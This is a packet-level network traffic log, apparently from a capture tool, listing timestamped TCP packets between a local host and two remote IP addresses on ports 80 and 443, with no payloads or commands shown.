Oct 30, 2024 15:59:41.226718903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226727962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226738930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226751089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226762056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226763964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226773977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226784945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226785898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226795912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226809978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226845026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226937056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226948023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226974964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226986885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226996899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227008104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227036953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227052927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227144957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227155924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227168083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227180004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227189064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227190018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227205992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227210045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227242947 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227335930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227346897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227356911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227369070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227372885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227401972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227423906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227483034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227502108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227514029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227525949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227536917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227540016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227549076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227560997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227566957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227581024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227611065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227771044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227782011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227792978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227804899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227816105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227816105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227828026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.227840900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227864027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227880955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.227993965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228005886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228017092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228028059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228039026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228044987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228060007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228076935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228106022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228148937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228161097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228190899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228197098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228203058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228214025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228239059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228254080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228446960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228457928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228477001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228487968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228498936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228503942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228511095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228519917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228524923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228538036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228543043 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228550911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228564024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228574038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228606939 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228782892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228823900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228872061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228883982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228895903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228908062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228919983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228919983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228935003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.228955030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.228971004 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229159117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229170084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229181051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229192972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229196072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229211092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229212046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229223967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229238987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229248047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229253054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229259014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229263067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229265928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229273081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229325056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229518890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229531050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229542017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229578972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229578972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229609966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229620934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229631901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229643106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229655027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229662895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229665041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229676962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229681969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229690075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229701996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.229703903 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229722977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.229749918 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.230021954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230034113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230046034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230057001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230067968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230070114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.230079889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230087042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.230093002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.230112076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.230138063 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.231375933 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.231447935 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.231511116 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.236756086 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.236779928 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.241146088 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.241172075 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.241238117 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.241410017 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.241424084 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.268486023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.268517017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.268527985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.268563032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.268601894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.309441090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.309480906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.309499025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.309519053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342309952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342333078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342344999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342370033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342408895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342467070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342511892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342523098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342523098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342549086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342569113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342586040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342609882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342642069 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342668056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342699051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342710018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342725992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342752934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342780113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342801094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342830896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342843056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342869997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342900991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.342938900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342952013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342961073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.342988014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343014956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343036890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343048096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343058109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343070984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343089104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343100071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343173027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343184948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343195915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343208075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343224049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343240976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343266010 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343327045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343336105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343342066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343353033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343363047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343374968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343408108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343491077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343502045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343512058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343543053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343563080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343590975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343606949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343647957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343718052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343732119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343739033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343743086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343782902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343797922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343816996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343830109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343839884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.343864918 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343878031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.343983889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344028950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344039917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344065905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344088078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344146967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344157934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344172001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344187975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344227076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344238997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344250917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344254971 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344263077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344264984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344276905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344291925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344326973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344408035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344448090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344466925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344476938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344513893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344543934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344554901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344563961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344577074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344588041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344614983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344640017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344674110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344707012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344719887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344755888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344835043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344846010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344863892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344873905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344885111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344885111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344897985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344928980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.344970942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.344986916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345002890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345010996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345015049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345032930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345032930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345053911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345069885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345195055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345206022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345211983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345216990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345225096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345271111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345305920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345397949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345408916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345418930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345432997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345443964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345444918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345455885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345495939 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345588923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345602036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345613956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345624924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345637083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345654011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345678091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345726967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345746994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345758915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345772028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345776081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345786095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345796108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345797062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.345824003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.345839977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346010923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346023083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346040010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346050024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346050978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346062899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346064091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346077919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346098900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346277952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346288919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346302986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346317053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346326113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346326113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346339941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346343994 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346353054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346373081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346412897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346579075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346590042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346601009 CET	80	49716	185.215.113.206	192.168.2.6
